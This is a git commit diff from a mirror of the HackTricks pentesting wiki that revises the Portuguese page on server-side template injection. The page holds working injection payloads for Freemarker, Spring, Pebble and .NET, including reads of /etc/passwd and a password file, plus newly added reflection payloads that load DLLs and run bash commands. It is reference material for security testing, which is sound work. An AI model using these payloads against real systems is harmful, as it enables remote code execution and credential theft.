mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
2c964a1cf5
commit
fdda2bebdf
@ -25,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
|
|||||||
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
|
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
|
||||||
|
|
||||||
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
|
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
|
||||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
|
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
|
||||||
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
|
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
|
||||||
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
|
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
|
||||||
|
|
||||||
@ -43,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar
|
|||||||
|
|
||||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||||
|
|
||||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
|
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadoras.
|
||||||
```bash
|
```bash
|
||||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||||||
|
|
||||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||||
```
|
```
|
||||||
**Freemarker - Bypass de Sandbox**
|
**Freemarker - Bypass de sandbox**
|
||||||
|
|
||||||
⚠️ só funciona em versões do Freemarker abaixo de 2.3.30
|
⚠️ só funciona em versões do Freemarker abaixo de 2.3.30
|
||||||
```java
|
```java
|
||||||
@ -209,7 +209,7 @@ Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar
|
|||||||
```java
|
```java
|
||||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||||
```
|
```
|
||||||
- Script Personalizado para geração de payloads
|
- Script personalizado para geração de payloads
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
@ -261,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9):
|
|||||||
```java
|
```java
|
||||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||||
```
|
```
|
||||||
Nova versão do Pebble :
|
Nova versão do Pebble:
|
||||||
```java
|
```java
|
||||||
{% raw %}
|
{% raw %}
|
||||||
{% set cmd = 'id' %}
|
{% set cmd = 'id' %}
|
||||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||||||
- `${{7*7}}` - 49
|
- `${{7*7}}` - 49
|
||||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||||
|
|
||||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||||
|
|
||||||
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
|
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
|
||||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
|
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
|
||||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os managed beans, garantindo uma estrutura de aplicação mais coerente.
|
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
|
||||||
|
|
||||||
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
|
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
|
||||||
|
|
||||||
@ -386,7 +386,7 @@ el-expression-language.md
|
|||||||
|
|
||||||
### Groovy (Java)
|
### Groovy (Java)
|
||||||
|
|
||||||
As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
As seguintes contornas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||||
```java
|
```java
|
||||||
//Basic Payload
|
//Basic Payload
|
||||||
import groovy.*;
|
import groovy.*;
|
||||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
||||||
```xml
|
```xml
|
||||||
<patTemplate:tmpl name="page">
|
<patTemplate:tmpl name="page">
|
||||||
This is the main page.
|
This is the main page.
|
||||||
@ -814,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **bypass de execução de
|
|||||||
|
|
||||||
[Site oficial](http://jinja.pocoo.org)
|
[Site oficial](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
||||||
|
|
||||||
- `{{7*7}} = Erro`
|
- `{{7*7}} = Erro`
|
||||||
- `${7*7} = ${7*7}`
|
- `${7*7} = ${7*7}`
|
||||||
@ -928,6 +928,23 @@ O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qu
|
|||||||
|
|
||||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||||
|
|
||||||
|
### .Net Contornando restrições
|
||||||
|
|
||||||
|
Os mecanismos de Reflexão do .NET podem ser usados para contornar listas negras ou classes que não estão presentes no assembly. DLLs podem ser carregadas em tempo de execução com métodos e propriedades acessíveis a partir de objetos básicos.
|
||||||
|
|
||||||
|
Dlls podem ser carregadas com:
|
||||||
|
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - do sistema de arquivos.
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - diretamente da requisição.
|
||||||
|
|
||||||
|
Execução completa de comando:
|
||||||
|
```
|
||||||
|
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||||
|
```
|
||||||
|
**Mais Informações**
|
||||||
|
|
||||||
|
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
|
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
|
||||||
|
Loading…
x
Reference in New Issue
Block a user